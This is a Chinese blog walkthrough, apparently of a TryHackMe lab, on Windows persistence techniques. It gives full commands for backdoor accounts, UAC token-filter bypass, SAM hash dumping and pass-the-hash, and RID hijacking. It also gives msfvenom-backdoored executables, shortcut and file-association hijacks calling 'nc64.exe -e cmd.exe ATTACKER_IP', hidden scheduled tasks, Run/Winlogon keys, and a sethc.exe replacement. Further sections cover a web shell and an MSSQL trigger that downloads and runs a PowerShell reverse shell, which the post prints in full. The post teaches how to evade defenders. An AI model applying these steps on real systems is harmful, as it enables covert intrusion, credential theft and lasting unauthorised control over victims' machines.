Windows最常用的权限维持技术

最新推荐文章于 2024-05-27 08:30:00 发布
最新推荐文章于 2024-05-27 08:30:00 发布
阅读量775 收藏 6
点赞数 1
文章标签： windows 网络 网络安全 安全
永远回不去的那天
本文链接：https://blog.csdn.net/weixin_53912233/article/details/131193341
版权

在这里插入图片描述

权限维持的意义

如果系统管理员或事件响应者决定查看会话日志或他们认为这是可疑的账户日志，因此他们会怀疑此已经账户被盗用，然后更改密码和终止符访问权限，因此我们为了绕过蓝队或安全防护就需要权限维持技术

工具

WinRM

WinRM（Windows 远程管理）是 WS 管理协议的 Microsoft 实现。一种基于标准 SOAP 的协议，允许来自不同供应商的硬件和操作系统进行互操作。
下载地址:

https://github.com/Hackplayers/evil-winrm
  • 使用的时候遇到报错可以尝试以下解决：
gem install rexml 
gem install winrm&&gem install winrm-fs

在powershell中尝试开启Winrm服务

enable-psremoting

impacket

Impacket 是一组用于处理网络协议的 Python 类。Impacket 专注于提供对数据包和某些协议（例如 SMB1-3 和 MSRPC）协议实现本身的低级编程访问。数据包可以从头开始构建，也可以从原始数据中解析，面向对象的 API 使得使用深层协议层次结构变得简单。
下载地址:

https://github.com/fortra/impacket/releases

nc64.exe

下载地址:

https://github.com/int0x33/nc.exe/

PSTools工具包

下载地址：

https://download.sysinternals.com/files/PSTools.zip

篡改非特权帐户

拥有管理员凭证是在机器中实现持久性的最简单方法。然而，为了让蓝队更难检测到我们，我们可以操纵通常不会像管理员那样受到监控的非特权用户，并以某种方式授予他们管理权限。

分配组成员权限

破解账户sam,此操作仅限于管理员
使非特权用户获得管理权限的直接方法是使其成为Administrators组的一部分。我们可以使用以下命令：这将允许您使用 RDP、WinRM 或任何其他可用的远程管理服务来访问服务器。

net  localgroup administrators thmuser0 /add

image.png
不过直接添加为管理员组看起来太可疑了，我们可以使用 Remote Mangement Users组 将用户添加到远程管理用户是持久性机制的重要组成部分 你能够使用远程进行登录：远程管理用户(WinRM) 组

net localgroup "Remote Management Users" thmuser1 /add

image.png
备份操作员的特权组（Backup Operators组）,该组中的用户没有管理权限，但可以读取/写入系统上的任何文件或注册表项。

  • 首先将帐户添加到 Backup Operators 组
net localgroup "Backup Operators" thmuser1 /add

image.png
假设我们已经将凭据转储到服务器上并拥有 thmuser1 的密码。让我们使用其凭据通过 WinRM 进行连接：

./evil-winrm.rb -i 指定ip	-u 指定用户名 -p 密码

image.png
查看该用户属于的组，发现权限似乎不大

whoami /groups

image.png
这是由于用户帐户控制 (UAC)。UAC 实现的一项功能 LocalAccountTokenFilterPolicy 会在远程登录时剥夺任何本地帐户的管理权限。虽然我们可以从图形用户会话通过 UAC 提升您的权限，但如果使用的是 WinRM，将被限制在没有管理权限的有限访问令牌中。

UAC突破

为了能够从您的用户那里重新获得管理权限，我们必须通过将以下注册表项更改为 1 来禁用LocalAccountTokenFilterPolicy：

C:\Users\Administrator>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

image.png
一旦所有这些都设置好了，我们就可以使用我们的后门用户了
image.png
现在我们可以更进一步：可以下载系统和sam hives，来尝试破解管理哈希或其他账户哈希

reg save hklm\system system.bak # 下载系统配置单元
reg save hklm\sam sam.bak       #	将system替换为sam

image.png
下载备份 SAM 和 SYSTEM 文件到我们的本地攻击机上：

donwload sam.bak 
download system.bak

image.png

提取哈希

回到本地机器，现在我们可以使用工具 secretsdump.py 转储所有用户的密码哈希值

source venv/bin/activate 
python secretsdump.py -sam sam.bak -system system.bak LOCAL

image.png
获取最右边的hash值，以管理员权限连接到受害机器：

./evil-winrm.rb -i 10.10.133.32 -u Administrator  -H f3118544a831e728781d780cfdb9c1fa

image.png

工具报错解决

WARNING: Running pip as the ‘root’ user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
1.安装virtualenv工具（如果尚未安装）

pip install virtualenv

2.在项目目录创建虚拟环境

cd 你的工具目录
virtualenv venv

3.激活虚拟环境

source venv/bin/activate

4.在虚拟环境中安装你所需要的python包

pip install impacket

当你完成一个项目时，可以使用以下命令来退出虚拟环境：

deactivate

特殊权限和安全描述符

无需修改任何组成员资格即可获得与将用户添加到 Backup Operators 组类似的结果。因为特殊组之所以特殊，是因为操作系统默认为他们分配了特定的权限。

备份特权

属于该组的任何用户都可以读取系统中的任何文件，所以基本上这意味着如果我们是备份特权的一部分，我们可以读取包括系统文件或在内的文件。如果我们是恢复特权的一部分，我们可以在系统中写入任何文件。
对于 Backup Operators 组，它默认分配有以下两个权限：

  • **SeBackupPrivilege：**用户可以读取系统中的任何文件，忽略任何DACL。
  • **SeRestorePrivilege：**用户可以写入系统中的任何文件，忽略任何DACL。

所以如果我们将用户添加到这些组之一或者同时添加到这两个组，我们就不用去管任何适当的自由访问控制列表，当我们成功的使用该向导登录，我们将能够在系统上执行特权操作，所以基本上这也是执行持久性的两种特权。

演示

首先 我们将创建一个配置文件，导出系统配置

secedit /export /cfg config.inf

image.png
搜索关键字：SeBackupPrivilege 、SeRestorePrivilege 添加后门用户名字
image.png
最后将 .inf 文件转换为 .sdb 文件，然后使用该文件将配置加载回系统：

secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf

image.png
现在它拥有的特权相当于备份用户，因为 UAC 无法通过winrm登录，现在我们需要确保用户能够使用一个参数重新登录

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

为了让后门用户能使用winrm登录，因为该用户不是远程管理用户的一部分，我们将需要更改安全描述符，它是一种访问控制列表。
使用powershell执行

Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

完成此操作后，我们的后门用户就可以通过 WinRM 进行连接。
image.png
现在使用winrm登录thmuser2后门用户，可以看见user2不属于任何特殊组，却拥有特殊组权限，它将看起来像普通用户。一点都不可疑！

whoami /priv

image.png

net user thmuser2

image.png
由于用户具有 SeBackup 和 SeRestore 权限，我们可以重复这些步骤从 SAM 恢复密码哈希并与管理员用户重新连接。
image.png
后面方法和前面的分配组成员一样，不再赘述了。

RID劫持

无需成为管理员即可获得管理权限的方法是更改某些注册表值，使操作系统认为您是管理员。

RID的原理

创建用户时，会为他们分配一个称为相对 ID (RID)的标识符。RID 只是一个代表整个系统用户的数字标识符。当用户登录时，LSASS 进程从 SAM 注册表配置单元获取其 RID 并创建与该 RID 关联的访问令牌。
在任何 Windows 系统中，默认的 Administrator 帐户被分配RID = 500，而普通用户通常RID >= 1000。

  • 查找为任何用户分配的 RID
wmic useraccount get name,sid

尾端后面的数值就是RID
image.png

劫持演示

如果我们可以篡改注册表值，我们可以通过将相同的 RID 关联到两个帐户，让 Windows 将管理员访问令牌分配给非特权用户。
打开注册表编辑器

regedit

给予administrators组权限控制
image.png
来到注册表编辑的位置

HKLM\SAM\SAM\Domains\Account\Users\

image.png
每个用户都有一个密钥的地方，找到你所需的后门用户十六进制对应的RID值（1010=0x3F2）
image.png
在相应的键下，会有一个名为F的值，它在位置 0x30 处保存用户的有效 RID
image.png

注意：RID 是使用小端表示法存储的，因此它的字节显示为颠倒的。比如十六进制0x3F2变为 0xF203

我们现在将用十六进制的管理员 RID (500 = 0x01F4) 替换这两个字节，切换字节 (F401)：
选中字节再进行更改
image.png
当我们使用thmuser3后门用户rdp协议登录的时候，可以发现登陆的是administrator用户
image.png

后门文件

创建后门是最流行的持久性技术之一，无论是在Windows还是其他系统中

可执行文件

任何可执行文件，则用户很可能会经常使用它。比如计算器 calc.exe，我们可以将该执行文件下载到攻击者的机器上并修改它添加我们想要的任何payload，二进制文件仍将像往常一样工作，但通过在二进制文件中添加一个额外的线程来静默执行额外的有效负载。
要创建后门的 calc.exe，我们可以使用以下命令:

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=4444 -b "\x00" -f exe -x calc.exe -o calcX.

\x00指令是空指令，为了防止shellcode报错，这里去掉\x00
image.png
虽然这种方法足以建立持久性，但是没做免杀还是不太稳定

https://www.virustotal.com/

image.png

快捷方式文件

我们可以将快捷方式的目标更改为指向将运行后门的脚本，然后正常执行通常的程序，而不是直接指向预期的可执行文件。右键查看属性
image.png
在劫持快捷方式的目标之前，让我们在任何偷偷摸摸的位置创建一个简单的 Powershell 脚本，脚本内容：

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4444"

C:\Windows\System32\calc.exe

image.png
我们将更改快捷方式以指向我们的脚本

powershell.exe -WindowStyle hidden C:\Windows\System32\a.ps1

image.png
将图标指向原始可执行文件，这样用户就不会看到任何可见的更改。
image.png
image.png
在攻击机监听4444端口
image.png
如果双击该快捷方式，应该可以连接回攻击者的计算机。同时，用户将得到一个如他们所愿的计算器。他们可能会注意到命令提示符在屏幕上闪烁并立即消失。只能希望普通用户可能不会太在意这一点。
image.png

劫持文件关联

除了通过可执行文件或快捷方式持久化之外，我们还可以劫持任何文件关联，以强制操作系统在用户打开特定文件类型时运行 shell。

regedit

默认的操作系统文件关联保存在注册表中：HKLM_LOCAL_MACHINE\Software\Classes<br />image.png
假设我们要检查哪个程序用于打开 .txt 文件；我们可以去检查子.txt项并找到与之关联的程序 ID (ProgID) 。ProgID 只是系统上安装的程序的标识符。对于 .txt 文件，我们将具有以下 ProgID:

然后我们可以搜索相应 ProgID 的子项（也在 下HKLM\Software\Classes\），在本例的 txtfile，我们将在其中找到对负责处理 .txt 文件的程序的引用。大多数 ProgID 条目将有一个子项，在该子项下shell\open\command 指定为具有该扩展名的文件运行的默认命令：
image.png
在这种情况下，当您尝试打开一个 .txt 文件时，系统将执行%SystemRoot%\system32\NOTEPAD.EXE %1，其中%1代表打开的文件的名称。
如果我们想劫持这个扩展，我们可以用执行后门的脚本替换命令，然后像往常一样打开文件。首先，让我们创建一个包含以下内容的 ps1 脚本并将其保存到 C:\Windows\System32\a.ps1 ：

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4444"
C:\Windows\system32\NOTEPAD.EXE $args[0]

在Posershell中，我们必须传递 $args[0] 给记事本，因为他它将包含要打开的文件的名称，如通过 %1，
image.png
最后更改注册表项以在隐藏窗口中运行我们的后门脚本：

powershell.exe -WindowStyle hidden C:\Windows\System32\a.ps1

image.png
当受害者打开文本类型的时候，攻击机就会接收到shell
image.png
image.png

滥用服务

Windows 服务提供了一种建立持久性的好方法，因为它们可以配置为在受害者机器启动时在后台运行。如果可以利用服务为我们运行各种有效载荷，我们就可以在受害者每次启动时获得该主机的控制。
目前主要的两种主要方式滥用服务：创建新服务或修改现有服务以执行我们的有效负载。

原理

Windows 服务基本上是在后台运行的可执行文件。配置服务时，可以定义将使用哪个可执行文件并选择服务是在机器启动时自动运行还是应手动启动。

创建后门服务

使用MSF生成恶意载荷

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.14.55.65 LPORT=4444 -f exe-service -o payload.exe

攻击机开启http服务8000
image.png然后来到受害者机器下载该恶意文件

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.14.55.65:8000/payload.exe','payload.exe')"

在终端中使用以下命令，创建自启动的后门服务

sc create THMservice binPath= "可以是恶意命令 也可以是恶意文件的所在路径" start= auto # 指定服务为自启动模式
sc start THMservice  # 启动服务运行

注意：每个等号后必须有一个空格才能使命令生效。
image.png
最后返回MSF监听器，已经看到获得一个反向shell了
image.png

修改现有服务

虽然为持久性创建后门服务效果很好，但蓝队或者安全防护软件可能会监控整个网络的新服务创建。我们可能希望重用现有服务而不是创建服务以避免检测。通常，任何禁用的服务都是一个很好的候选者，因为它可能会在用户不注意的情况下被更改。
获取可用服务的列表

sc query state=all

image.png
进一步查看详细信息，这里以thmservice3为例子

sc query thmservice3

image.png
查询服务的配置信息

sc qc thmservice 3

image.png
在使用服务进行持久化时，我们关心三件事：

  • 可执行文件 ( BINARY_PATH_NAME ) 应该指向我们的负载。
  • 服务START_TYPE应该是自动的，这样负载就可以在没有用户交互的情况下运行。
  • SERVICE_START_NAME是运行服务的帐户，最好将其设置为LocalSystem以获得 SYSTEM 权限。

创建恶意的payload载荷，步骤和前面一样
重新配置“THMservice3”参数，我们可以使用以下命令：

sc config THMservice3 binPath= "恶意代码" start= auto obj= "LocalSystem"

image.png
再次查看配置信息
image.png
当服务运行的时候可以看见，恶意载荷已经在运行了
image.png

滥用计划任务

任务计划程序

调度任务的最常见方法是使用内置的Windows 任务计划程序。任务计划程序允许精细控制任务何时开始，允许我们配置将在特定时间激活、定期重复甚至在特定系统事件发生时触发的任务。使用schtasks与任务计划程序进行交互。
schtasks命令可以参考这个

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks

现在我们创建一个任务计划程序名称为：THM-TaskBackdoor，每一分钟以System权限运行恶意的有效载荷

schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "恶意payload" /ru SYSTEM
  • /sc 指定任务时间类型
  • /mo 指定任务时间类型内运行的频率
  • /tn 指定任务的名称
  • /tr 指定任务运行的程序或命令
  • /ru 使用指定用户帐户的权限运行任务

image.png
kali开启监听，可以看见已经接收到shell了
image.png

让恶意的任务不可见

如果受感染的用户试图列出其计划任务，我们的后门任务就会引人注目。为了进一步隐藏我们的计划任务，我们可以通过删除其安全描述符 (SD)使其对系统中的任何用户都不可见。

SD是什么

S代表 security 安全的意思，D代表描述符。它只是一个访问控制列表 (ACL)权限列表，用于确定谁可以访问计算机网络中的特定资源。它用于授予或拒绝对文件、文件夹、打印机和其他网络资源的访问权限。说明哪些用户可以访问计划任务。

原理

如果 ACL 不允许您的用户查询计划任务，就将无法再看到它，因为 Windows 只会向你显示当前用户有权使用的任务。删除SD相当于禁止所有用户访问计划任务，包括管理员。

演示

为了隐藏我们的任务，让我们删除之前创建的“THM-TaskBackdoor”任务的 SD 值。为此，我们必须打开注册表编辑器

PsExec64.exe -s -i regedit
# 权限不足时，使用此工具以SYSTEM权限打开
# -s 在系统帐户中运行远程进程  -i 启动交互式命令

所有计划任务的安全描述符都存储在这里

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\

image.png
然后右键删除该后门用户的SD值
image.png
当我们查询后门用户的时候，可以看见找不到该文件，已经完全隐藏了
image.png

登录触发的持久性

用户执行的某些操作也可能绑定到执行特定有效载荷以实现持久性。Windows 操作系统提供了几种将有效负载与特定交互联系起来的方法。这些有效载荷将在用户登录系统时执行。

启动文件夹

每个用户都有一个文件夹，我们可以在该文件夹下放置要在用户登录时运行的可执行文件。攻击者只需在其中放置有效负载即可实现持久性。

C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

请注意，每个用户将只运行其文件夹中可用的任何内容。
image.png
现在我们像往常一样生成好恶意payload，然后开始监听

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.14.55.65 LPORT=4444 -f exe  -o payload.exe 
python3 -m http.server

image.png
image.png
将恶意文件放入到启动文件中

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.14.55.65:8000/payload.exe','payload.exe')"

image.png
我们退出rdp登录，重新登陆的时候就可以看见接收到来自受害者的shell了
image.png

注册表修改

我们还可以强制用户通过注册表在登录时执行程序。

run/runOnce

可以使用以下注册表项来指定要在登录时运行的应用程序：

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

注册表项HKCU将仅适用于当前用户，注册表项HKLM将适用于所有人。Run每次用户登录时，键下指定的任何程序都会运行。键下指定的程序RunOnce将只执行一次。
image.png
创建注册表项，名称可以任意，它值为我们要执行的后门程序
image.png
image.png
退出当前会话并再次登录时，我们的攻击机就会接收到反向shell
image.png
大概等个10秒左右
image.png

滥用 Winlogon登录

这是一个在身份验证后立即加载用户配置文件的 Windows 组件，在登录时自动启动程序的替代方法。
Winlogon 的注册表项:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
  • Userinit指向userinit.exe，它负责恢复您的用户配置文件首选项。
  • shell指向系统的外壳，通常是explorer.exe.

image.png
如果我们用一些反向 shell 替换任何可执行文件，我们将破坏登录序列，这是不希望的。有趣的是，我们可以附加以逗号分隔的命令，Winlogon 将处理所有这些命令。
image.png
可以更改Shell或Userinit,这里以Userinit为例子
完成此操作后，退出当前会话并再次登录，可以看到攻击机接受到shell了
image.png

登录脚本

加载用户配置文件时userinit.exe 是检查名为UserInitMprLogonScript。默认情况下未设置该变量，因此我们可以创建它并分配我们喜欢的任何脚本。

HKCU\Environment

image.png
如果没有设置变量名，我们可以自己添加一个
image.png
注册表项在 中没有等效项HKLM，这个后门仅适用于当前用户。退出当前会话并再次登录，会收到一个 shell
image.png

后门登录屏幕(辅助功能)

我们可以在登录屏幕后门访问终端，而无需机器的有效凭据。通常情况下比较适合物理访问机器，这里以远程登录为例子。

粘贴键

粘贴键通常情况下有两种启动方式

  1. Ctrl + Alt + Del ,一次一个键
  2. 连续按 Shift 键五次

image.png
如果用快捷方式允许我们通过按SHIFT5 次来激活粘滞键。会看到如下所示的屏幕：
1686572351531.jpg
按 shift5 次后，Windows 将执行 C:\Windows\System32\sethc.exe。我们可以利用这种特性来替换类似的恶意文件，我们就可以用快捷方式触发它。
要覆盖sethc.exe，我们首先需要取得文件的所有权并授予我们当前用户修改它的权限。

takeown /f sethc.exe # 查看是否属于该用户组所管
icacls sethc.exe /grant Administrator:F # 修改该文件权限为Administrator用户完全控制
copy cmd.exe sethc.exe # 覆盖粘贴键

image.png
最后我们锁定会话，按五次SHIFT键，就可以看见出现了具有 System 权限的cmd控制台了
1686573570655.jpg

image.png

Utilman

Utilman 是一个内置的 Windows 应用程序，用于在锁定屏幕期间提供轻松访问选项：
1686573975351.jpg
当我们单击登录屏幕上的轻松访问按钮时，它会以 SYSTEM 权限执行

 C:\Windows\System32\Utilman.exe

方法同上,不再赘述了

通过现有服务坚持

如果不想使用 Windows 功能来隐藏后门，我们可以使用任何运行代码的现有服务中获益。

web shell

web 服务器中实现持久化的通常方法是将 shell文件 上传到 web 目录。这很简单，将授予我们访问 IIS 中配置用户的权限，但默认情况下是 iis apppool\defaultapppool .

  • 将木马放入到网站服务里
C:\inetpub\wwwroot

image.png
注意：如果在访问 shell 的 URL 时遇到权限被拒绝的错误，只需授予每个人对该文件的完全权限即可

icacls shell.aspx /grant Everyone:F

image.png
即使这是一个非特权用户，它也有特殊的SeImpersonatePrivilege ， 提供了一种使用各种已知漏洞利用的简单方法来升级到管理员。
image.png
SeImpersonatePrivilege 提权 下载地址：

https://github.com/itm4n/PrintSpoofer/releases

复现具体可以参考这篇：

https://www.freebuf.com/articles/network/283776.html

使用 MSSQL 作为后门

我们打开Microsoft SQL Server Management Studio 18，使用默认值连接就好了
image.png
登录后，单击“新建查询”按钮打开查询编辑器：
image.png
运行以下SQL语句，启用MSSQL配置中的“高级选项”，然后启用xp_cmdshell.

sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO

image.png
我们必须确保任何访问该数据库的网站都可以运行xp_cmdshell。默认情况下，数据库用户sysadmin才能这样做。由于预计 Web 应用程序使用受限数据库用户，因此我们可以授予所有用户权限以模拟该sysadmin用户

USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];

image.png
完成所有这些之后，我们终于配置了一个触发器。我们首先切换到HDRB数据库：

USE HRDB

image.png
kali 准备好 http服务器和监听
image.png
利用触发器执行 Powershell从攻击者控制的 Web 服务器xp_cmdshell下载并运行文件。
当 插入 Employees数据表中将执行HRDB，即 .ps1 脚本

CREATE TRIGGER [sql_backdoor2]
ON HRDB.dbo.Employees 
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://10.14.55.65:8000/exp.ps1'')"';

原理是利用该服务的数据表，当数据表有内容插入的时候就会执行代码
image.png
exp.ps1的脚本内容:

$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};

$client.Close()

image.png
当用户插入我们指定的数据表的时候，就会成功执行我们的playload
image.png
返回攻击，可以看见接收到一个shell了
image.png

总结

权限维持能很好的躲避很多事情，也能让我们更加轻松的操作想做的事，但是免杀很重要，在了解权限维持技术的前提下，还要学会如何制作免杀，从而达到真正的绕过且维持。
参考：

https://tryhackme.com/room/windowslocalpersistence#
永远回不去的那天
关注
2024年最全Windows权限维持技术总结、复现_cs权限维持(1)，网络安全ui基础
2401_84264583的博客
05-05 938
在 Windows 上有一个重要的机制，也就是服务。服务程序通常默默的运行在后台，且拥有 SYSTEM 权限，非常适合用于后门持久化。我们可以将 EXE 文件注册为服务来作为后门。Windows 实现计划任务主要有 at 与 schtasks 两种方式，通过计划任务可以定时启动后门程序at 适用于windows 2000、2003、xp，schtasks适用于windows >= 2003利用 windows 开机启动项实现权限的维持，每次系统启动都可实现后门的执行，很不错的权限维持的方式。
【神兵利器】后渗透-权限维持工具之HackerPermKeeper
youmaob的博客
04-03 747
通过渗透拿到权限之后，为了不让权限丢失，都会进行权限维持，而在进行权限维持的时候，红队需要花费大量的时候，来验证是否合适，因此在这款工具就诞生 HackerPermKeeper[黑客权限保持者]OpenSSH后门万能密码&记录密码（这个需要依赖环境），就是把对方的门换个锁，但是原来的钥匙也可以使用。|| 越少，越难发现，但是部署起来，需要的依赖很多。ssh软链接&crontab。crontab后计划任务。发现程度：||||||发现程度：||||||发现程度：||||||发现程度：||||||
红队神器-Evil-Winrm详细使用指南
渗透测试研究中心
03-10 1985
前言Evil-winrm 工具最初是由 Hackplayers 团队开发的。开发该工具的目的是尽可能简化渗透测试，尤其是在 Microsoft Windows 环境中。 Evil-winrm 使用 PowerShell 远程协议 (PSRP)，且系统和网络管理员经常使用Windows Remote Management 协议进行上传和管理。 WinRM 是一种基于对防火墙友好的SOAP...
ATT&CK-T1003-002 - 操作系统凭据转储：安全帐户管理器
swordheart的博客
12-07 633
攻击者可能会尝试通过内存技术或通过存储 SAM 数据库的 Windows 注册表从安全帐户管理器 (SAM) 数据库中提取凭证材料。SAM 是一个数据库文件，其中包含主机的本地帐户，通常是使用**** 命令找到的帐户。枚举 SAM 数据库需要 SYSTEM 级别的访问权限。许多工具可用于通过内存技术检索 SAM 文件：或者，可以使用 Reg 从注册表中提取 SAM：然后可以使用 Creddump7 在本地处理 SAM 数据库以检索哈希值。可以通过三个注册表项枚举本地 SAM（SAM 和系统）、缓存凭证（系统
通过Enable-PSRemoting 开启Powershell远程管理失败的解决方法
weixin_34032779的博客
12-25 808
1 Powershell 远程管理是Windows一项很常用的管理方式，但是我们在网上搜到的一些开启方法都是通过Enable-PSRemoting，或者winrm quickconfig，但是有时候执行完毕后发现还是无法实现远程。提示消息是“连接到远程服务器失败，错误消息如下：客户端无法连接到请求中指定的目标”2 解决方法：我们需要首先确定Winrm是否开启了侦听：查看一下W...
应急响应实战笔记——权限维持篇：⑦ 常见WebShell管理工具
君逍遥o
04-07 491
中国菜刀是一款专业的网站管理软件，用途广泛，使用方便，小巧实用。攻击者在入侵网站时，通常要通过各种方式写入Webshell，从而获得服务器的控制权限，比如执行系统命令、读取配置文件、窃取用户数据，篡改网站页面等操作。AntSword是一个开放源代码，跨平台的网站管理工具，旨在满足渗透测试人员以及具有权限和/或授权的安全研究人员以及网站管理员的需求。Weevely是一种Python编写的webshell管理工具，跨平台，只支持PHP。这是一款跨平台的基于配置文件的中国菜刀，把所有操作给予用户来定义。
Windows密码凭证获取学习
crowsec
08-08 4704
一般来说，在我们获取到Windows的system权限之后，一般都喜欢去看下密码，哪怕是hash，也想尝试去解一下，Windows下的安全认证机制总共有两种，一种是基于NTLM的认证方式，主要用在早期的Windows工作组环境中；另一种是基于Kerberos的认证方式，主要用在域环境中。...
权限维持_Windows内核_驱动断链隐藏技术1
08-03
本文将探讨一种高级技术，即在Windows内核层面利用驱动断链隐藏来实现权限维持。这种技术涉及到对操作系统内核机制的深入理解和编程技巧。 首先，恶意驱动文件查找是整个过程的第一步。在红蓝对抗中，蓝队通常会...
内网渗透之windows权限维持
07-18
【标题】"内网渗透之windows权限维持"揭示了网络安全领域的一个重要话题——在Windows操作系统环境中如何保持已获得的权限，以便进行深度的系统分析或恶意活动。这通常涉及到对系统内部工作原理的理解，以及利用特定...
046-红队之浅谈基于Windows telemetry的权限维持.pdf
09-20
"红队浅谈基于Windows telemetry的权限维持" Windows Telemetry是一种强大的监控工具，红队可以使用它来维持权限，以下是相关知识点： 一、 Windows Telemetry 简介 Windows Telemetry是Windows操作系统中的一个...
Windows常见的几种权限维持
hackzkaq的博客
05-24 1703
零基础学黑客，搜索公众号：白帽子左一 1.映像劫持技术 简介 “映像劫持”，也被称为“IFEO”（Image File Execution Options），在WindowsNT架构的系统里，IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。 当一个可执行程序位于IFEO的控制中时，它的内存分配则根据该程序的参数来设定，而WindowsN T架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据，最终得以设定一个程序的堆管理机制和一些辅助
Windows PowerShell3-重要的远程
寒冰屋的专栏
01-23 1199
PowerShell作为Windows系统中的默认脚本，其实在开发中，我们用的很少。接下来的几篇文章都将PowerShell的相关知识，在上一章中我们介绍了PowerShell更多的知识，本章我们将深入了解其远程的相关知识。
.NET 分享一款多种方式维持权限的工具
最新发布
ahhacker86的专栏
05-27 1316
Sharp4Stay是一款功能强大的工具，专门设计用于在 Windows 环境中维持内网权限。它内置了 10 种不同的方法来确保攻击者可以持久地控制目标系统。以下将详细介绍其中的几种方法，因为图片过长，不便于文章展示，因此通过隐藏部分用法达到缩短图片长度，不便之处请读者朋友们谅解。03工具用法。
Impacket官方使用指南
weixin_30877755的博客
04-09 2862
什么是Impacket Impacket是用于处理网络协议的Python类的集合。Impacket专注于提供对数据包的简单编程访问，以及协议实现本身的某些协议（例如SMB1-3和MSRPC）。数据包可以从头开始构建，也可以从原始数据中解析，而面向对象的API使处理协议的深层次结构变得简单。该库提供了一组工具，作为在此库找到可以执行的操作的示例。 有关某些工具的说明，请访问：https:/...
impacket安装
qq_44881113的博客
09-15 3481
下载地址：https://github.com/SecureAuthCorp/impacket.git Impacket 是一组用于处理网络协议的 Python 类。用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP，ARP，IPv4，IPv6，SMB，MSRPC，NTLM，Kerberos，WMI，LDAP等协议进行低级编程访问。 具体协议如下 Ethernet, Linux “Cooked” capture. IP, TCP, UDP, ICMP, IGMP, ARP.
渗透测试入门之Web权限维持
weixin_46236101的博客
09-24 428
前言 权限维持，在红蓝对抗中，我觉得其意义在于两点：一是防止已获取的权限被蓝队破坏；二是防止其他红队获取到相同的权限（虽然有点缺德。。。）。 其他情况下的非法用途就不说了。 权限维持的原则我觉得就是不能影响原来业务的正常运行。（比如改后台密码导致管理员不能登录，修改文件夹读写权限导致正常的文件不能上传等等）。 后台权限维持 当我们通过弱口令或爆破获取到后台权限，为了防止管理员修改密码或其他红队修改密码，失去权限，在这种情况下需要维持一下后台权限。 自己修改后台密码，当然是最笨的办法。 可以选择的方法，通过在
Mimikatz学习笔记
SWEET0SWAT的博客
02-25 2785
使用SAM和System文件抓取密码 导出sam和system文件抓取密码 reg save hklm\sam sam.hive reg save hklm\system system.hive
windows权限维持
qq_46527080的博客
02-25 1272
windows权限维持一、添加影子账户二.nc自启动（需要一个nc程序）三、msf权限维持四、powshell权限维持 一、添加影子账户 1.首先常见一个影子账户（隐蔽的） net user chao1$ passwd /add 加入用户管理员组 net localgroup administrators chao1$ /add 2.打开注册表编辑器regedt32 打开HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users键值，然后找到admin对应的类型
010109权限维持
TangTang_AM的博客
04-03 402
9-1权限维持 1. 权限维持的原因 前提：某目标服务器初始化现阶段存在安全漏洞，可以被利用拿到服务器权限。 一段时间后，系统管理员对系统进行升级，打补丁（patch），系统不存在安全漏洞，导致无法利用漏洞获得服务器权限。 2. 权限维持的使用 技术本身不具备好与坏，只是因为使用者的目的不同，导致结果的好与坏。 恶意人员利用权限维持技术，一直获得服务器的权限。 合法且被授权的渗透测试人员，利用权限维持为了证明服务器存在对应的安全漏洞。 3. 权限维持案例环境介绍 目标机器：win7 没有m
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

永远回不去的那天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值